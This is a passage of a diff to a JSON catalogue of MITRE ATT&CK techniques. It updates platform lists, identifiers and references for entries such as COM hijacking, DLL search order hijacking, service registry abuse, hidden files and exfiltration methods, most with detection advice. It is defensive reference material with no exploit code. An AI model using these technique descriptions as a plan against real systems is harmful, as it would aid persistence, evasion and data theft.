Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).", + "meta": { + "external_id": "APP-21", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1406", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", + "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", + "http://ieeexplore.ieee.org/document/6234407", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", + "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao" + ] + }, + "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "value": "Obfuscated or Encrypted Payload - T1406" + }, + { + "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.", + "meta": { + "external_id": "ECO-1", + "kill_chain": [ + "mitre-mobile-attack:remote-service-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1470", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html", + "https://www.elcomsoft.com/eppb.html", + "https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/" + ] + }, + "uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d", + "value": "Obtain Device Cloud Backups - T1470" + }, + { + "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.", + "meta": { + "external_id": "T1048", + "kill_chain": [ + "mitre-attack:exfiltration" + ], "mitre_data_sources": [ "User interface", "Process monitoring", @@ -336,612 +2896,75 @@ "Network protocol analysis" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1048", + "https://attack.mitre.org/techniques/T1048", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776" + ] }, - "value": "Exfiltration Over Alternative Protocol" + "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "value": "Exfiltration Over Alternative Protocol - T1048" }, { - "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n### Windows\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### Mac and Linux \n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" + "external_id": "T1049", + "kill_chain": [ + "mitre-attack:discovery" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1071", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6" - }, - "value": "Standard Application Layer Protocol" - }, - { - "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", - "meta": { "mitre_data_sources": [ "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1016" - ], - "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0" + "https://attack.mitre.org/techniques/T1049" + ] }, - "value": "System Network Configuration Discovery" + "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "value": "System Network Connections Discovery - T1049" }, { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", + "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)", "meta": { + "external_id": "CAPEC-203", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1049" - ], - "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475" - }, - "value": "System Network Connections Discovery" - }, - { - "description": "The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.[[Citation: Microsoft Component Object Model]] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.[[Citation: GDATA COM Hijacking]] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.[[Citation: Endgame COM Hijacking]] Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nContributors: ENDGAME", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "DLL monitoring", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1122", - "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://msdn.microsoft.com/library/ms694363.aspx", - "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" - ], - "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69" - }, - "value": "Component Object Model Hijacking" - }, - { - "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Data loss prevention" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1092" - ], - "uuid": "64196062-5210-42c3-9a02-563a0d1797ef" - }, - "value": "Communication Through Removable Media" - }, - { - "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command.Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs", - "meta": { - "mitre_data_sources": [ - "Process monitoring", "Process command-line parameters", - "Packet capture", - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1126", - "https://technet.microsoft.com/bb490717.aspx" - ], - "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a" - }, - "value": "Network Share Connection Removal" - }, - { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are dir and tree.Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1083", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" - ], - "uuid": "7bc57495-ea59-4380-be31-a64af124ef18" - }, - "value": "File and Directory Discovery" - }, - { - "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name [[Citation: Sofacy Komplex Trojan]][[Citation: Antiquated Mac Malware]]. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app[[Citation: WireLurker]].\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1158", - "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "uuid": "ee44bd9f-2ab5-4f3b-93cd-20f30cbc63b9" - }, - "value": "Hidden Files and Directories" - }, - { - "description": "Windows systems use a common method to look for required DLLs to load into a program.[[Citation: Microsoft DLL Search]] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks,[[Citation: OWASP Binary Planting]] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.[[Citation: Microsoft 2269637]] Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.[[Citation: Microsoft DLL Redirection]][[Citation: Microsoft Manifests]][[Citation: Mandiant Search Order]]\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Disallow loading of remote DLLs.[[Citation: Microsoft DLL Preloading]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, DLL monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "DLL monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1038", - "https://msdn.microsoft.com/en-US/library/aa375365", - "https://www.owasp.org/index.php/Binary%20planting", - "http://msdn.microsoft.com/en-US/library/ms682586", - "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx", - "http://msdn.microsoft.com/en-US/library/ms682600", - "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", - "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" - ], - "uuid": "46944654-fcc1-4f63-9dad-628102376586" - }, - "value": "DLL Search Order Hijacking" - }, - { - "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1030", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd" - }, - "value": "Data Transfer Size Limits" - }, - { - "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1005" - ], - "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5" - }, - "value": "Data from Local System" - }, - { - "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1025" - ], - "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec" - }, - "value": "Data from Removable Media" - }, - { - "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API.[[Citation: Wikipedia Windows Library Files]]\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n*via in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "Process Monitoring", - "API monitoring", - "File monitoring", - "DLL monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1129", - "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files" - ], - "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65" - }, - "value": "Execution through Module Load" - }, - { - "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Data loss prevention, File monitoring", - "meta": { - "mitre_data_sources": [ - "Data loss prevention", - "File monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1052" - ], - "uuid": "e6415f09-df0e-48de-9aba-928c902b7549" - }, - "value": "Exfiltration Over Physical Medium" - }, - { - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Network protocol analysis, Process use of network, File monitoring, Malware reverse engineering, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "Network protocol analysis", - "Process use of network", - "File monitoring", - "Malware reverse engineering", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1027" - ], - "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" - }, - "value": "Obfuscated Files or Information" - }, - { - "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows Server 2003, Windows Server 2008, 